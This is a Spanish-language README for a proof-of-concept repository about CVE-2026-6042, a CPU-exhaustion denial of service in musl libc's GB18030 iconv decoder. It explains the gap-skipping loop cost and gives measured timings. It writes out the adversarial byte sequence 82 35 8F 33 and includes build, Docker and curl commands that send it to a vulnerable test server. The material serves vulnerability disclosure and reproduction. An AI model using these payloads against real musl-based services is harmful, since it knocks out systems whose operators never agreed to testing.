
Prueba de concepto y test de extremo a extremo de DoS por Complejidad Algorítmica en musl libc 0.8.0-1.2.6 asignado CVE-2026-6042
iconv de musl libcLos bucles de salto de huecos en el decodificador GB18030 de 4 bytes de iconv en musl permiten que una pequeña entrada manipulada consuma una cantidad desproporcionada de tiempo de CPU. Una carga útil adversarial de 40 KB puede saturar un núcleo de CPU durante más de 40 minutos.
Contrario a lo que dicen los avisos, el vector de ataque de este exploit es obviamente de red, no local. Esto se debe a que VulDB en realidad no comprende las vulnerabilidades que asignan.
Vector CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - 7.5 (Alto)
| Campo | Detalle |
|---|
| Software afectado | musl libc (implementación de iconv) |
| Codificaciones afectadas | GB18030 (secuencias de 4 bytes) |
| Tipo | Complejidad Algorítmica / Denegación de Servicio |
| Versiones confirmadas | musl 1.2.5 (Alpine 3.21), musl 1.2.6 (compilado desde el código fuente) |
| Posiblemente afectadas | Todas las versiones de musl desde que se introdujo el soporte para GB18030 y UHC/CP949 |
| Superficie de ataque | Cualquier servicio basado en musl que llame a iconv() con entrada no confiable en estas codificaciones |
El decodificador GB18030 de 4 bytes en musl (src/locale/iconv.c, aproximadamente líneas 434-442) convierte una secuencia de entrada de 4 bytes en un índice lineal y luego recorre un bucle de salto de huecos para mapear ese índice a un punto de código Unicode. Para cada carácter decodificado, el bucle interno itera toda la tabla gb18030[126][190] (23,940 entradas) para contar cuántos puntos de código mapeados de 2 bytes caen dentro de un rango deslizante.
La secuencia de bytes 82 35 8F 33 produce un índice lineal de 19,171, que cae justo por debajo del bloque denso de Ideogramas Unificados CJK (U+4E00-U+9FBD, ~20,902 entradas). El bucle de salto de huecos debe entonces recorrer todo el bloque denso entrada por entrada, ejecutando ~20,905 iteraciones externas, cada una escaneando las 23,940 entradas de la tabla. Eso es aproximadamente 500 millones de comparaciones por carácter de entrada.
Debido a que el costo escala linealmente con el número de caracteres adversariales en la entrada, y cada carácter desencadena independientemente el bucle interno completo, el trabajo total es O(n * k^2) donde n es el número de caracteres de entrada y k es el tamaño de la tabla de búsqueda.
Cualquier sistema basado en musl (Alpine Linux, Void Linux, postmarketOS, imágenes de contenedores/embebidas, etc.) que ejecute un servicio que transcodifique GB18030 o EUC-KR desde entrada proporcionada por el usuario a través de iconv() es vulnerable a denegación de servicio.
Tiempos proyectados en un solo núcleo (medidos en Alpine 3.21 / musl 1.2.5):
| Entrada | Tiempo |
|---|---|
| 1 carácter adversarial (4 bytes) | ~0.26 s |
| 100 caracteres (400 bytes) | ~26 s |
| 1,000 caracteres (4 KB) | ~4.3 min |
| 10,000 caracteres (40 KB) | ~43 min |
Para comparar, 100 caracteres GB18030 benignos se decodifican en microsegundos.
| Archivo | Descripción |
|---|---|
poc_gb18030_dos.c | PoC independiente: mide el tiempo de decodificación GB18030 benigna vs. adversarial a través de iconv() |
server.c | Servidor HTTP mínimo que transcodifica cuerpos POST a través de iconv(), simulando una superficie de ataque real |
Dockerfile | Imagen de contenedor Alpine Linux que compila y ejecuta el servidor vulnerable |
test.sh | Script de prueba de extremo a extremo: envía cargas útiles benignas y adversariales al servidor y compara los tiempos de respuesta |
iconv)Compile y ejecute en cualquier sistema basado en musl:
# En Alpine Linux
apk add gcc musl-dev
gcc -O2 -o poc_gb18030_dos poc_gb18030_dos.c
./poc_gb18030_dos
O mediante Docker:
docker run --rm -v "$(pwd)":/work -w /work alpine:latest \
sh -c "apk add gcc musl-dev && gcc -O2 -o poc_gb18030_dos poc_gb18030_dos.c && ./poc_gb18030_dos"
Salida esperada: los caracteres benignos se decodifican en microsegundos; un solo carácter adversarial (82 35 8F 33) tarda ~0.26 segundos.
Compile e inicie el servidor vulnerable:
docker build -t cve-2026-6042 .
docker run --rm -p 8080:8080 cve-2026-6042
En otra terminal, ejecute el arnés de pruebas:
./test.sh
O envíe una carga útil manualmente:
# Benigna: 100 caracteres, debería devolver al instante
printf '\x81\x30\x81\x30%.0s' $(seq 1 100) > /tmp/benign.bin
curl -X POST -H "Content-Type: text/plain; charset=gb18030" \
--data-binary @/tmp/benign.bin http://localhost:8080/
# Adversarial: solo 5 caracteres, debería tardar >1 segundo
printf '\x82\x35\x8F\x33%.0s' $(seq 1 5) > /tmp/adversarial.bin
curl -X POST -H "Content-Type: text/plain; charset=gb18030" \
--data-binary @/tmp/adversarial.bin http://localhost:8080/
El encabezado de respuesta X-Transcode-Time informa el tiempo empleado dentro de iconv().
La captura de pantalla a continuación muestra la escala lineal de la entrada adversarial contra el servidor Docker: 20 caracteres (80 bytes) tarda ~5.2 s, 80 caracteres (320 bytes) tarda ~20.8 s, y 160 caracteres (640 bytes) tarda ~41.5 s.

| Secuencia | Índice Lineal | Comportamiento |
|---|---|---|
81 30 81 30 (benigna) | 128 | Punto de código bajo; el bucle de salto de huecos termina rápidamente |
82 35 8F 33 (adversarial) | 19,171 | Cae justo debajo del bloque CJK denso; desencadena ~500M comparaciones |
82 35 90 30 (adversarial) | ~19,200 | Misma región, costo similar |
Este repositorio se publica con fines de investigación de seguridad y divulgación responsable. El código se proporciona únicamente para reproducir y verificar CVE-2026-6042. No lo utilice contra sistemas que no posea o para los cuales no tenga autorización explícita de prueba.